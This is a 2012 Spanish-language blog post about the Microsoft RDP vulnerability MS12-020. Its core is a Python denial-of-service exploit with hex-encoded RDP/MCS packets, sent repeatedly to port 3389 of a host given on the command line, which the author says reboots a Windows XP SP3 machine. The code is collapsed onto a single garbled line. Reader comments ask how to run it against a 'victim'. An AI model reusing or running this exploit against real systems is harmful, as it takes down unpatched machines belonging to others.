19 mar 2012

Exploit para la vulnerabilidad en RDP de Microsoft (MS12-020)

Hola!

Muy buenas a todos/as!

Hace unos días salió la noticia de un fallo en el RDP de Microsoft.

Este fallo, es explotable, Microsoft ya publicó en marzo el boletín MS12-020 que soluciona los errores en RDP que habían sido puestos en su conocimiento a través de fuentes privadas.

Ya hay varios Pastebin con el código explotable para la vulnerabiliad, podemos ver el resumen de la vulnerabilidad aquí.

De los múltiples exploits que me he encontrado he hecho la prueba con uno de ellos.

Lo he probado contra una máquina Windows XP SP3

El código del exploit:

# ms12-020 smaller# I reduced the needed payload to DOS, the crashed is caused by buf2# bp RDPWD!NM_Disconnect // crash is after this## freenode #ms12-020import socketimport sysimport time#initbuf0 = “030000130ee000000000000100080000000000″.decode(‘hex’)#MCS: Connection-initialbuf1 = “030001d602f0807f658201940401010401010101ff30190204000000000204000000020204000000000204000000010204000000000204000000010202ffff020400000002301902040000000102040000000102040000000102040000000102040000000002040000000102020420020400000002301c0202ffff0202fc170202ffff0204000000010204000000000204000000010202ffff02040000000204820133000500147c0001812a000800100001c00044756361811c01c0d800040008008002e00101ca03aa09040000ce0e000048004f005300540000000000000000000000000000000000000000000000000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ca010000000000100007000100300030003000300030002d003000300030002d0030003000300030003000300030002d003000300030003000300000000000000000000000000000000000000000000000000004c00c000d0000000000000002c00c001b0000000000000003c02c0003000000726470647200000000008080636c6970726472000000a0c0726470736e640000000000c0″.decode(‘hex’)#payloadbuf2 = “0300000802f08028″.decode(‘hex’)package = buf0+buf1+buf2HOST = sys.argv[1]PORT = 3389for i in range(10000):print is = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(3)s.connect((HOST,PORT))try:s.send(package)rec = s.recv(1024)except:passs.close()

Al ejecutarlo la máquina Windows remota se reinicia.

En el enlace anterior sobre la información de la vulnerabilidad podréis encontrar los parches correspondientes.

Saludos!

2 comentarios:

  1. Hola. Aqui van dos preguntillas: ¿En que lenguaje esta el codigo? Lo pregunto para poder compilarlo. ¿Es posible que el codigo del buf2 sea un simple "shutdown -r" en hexadecimal? Gracias

    ResponderEliminar
  2. disculpa que pregunte pero no se en que lenguaje esta el codigo para ver que se hace, porque no se como ejecutarlo q necesito para meterlo a la victima?

    ResponderEliminar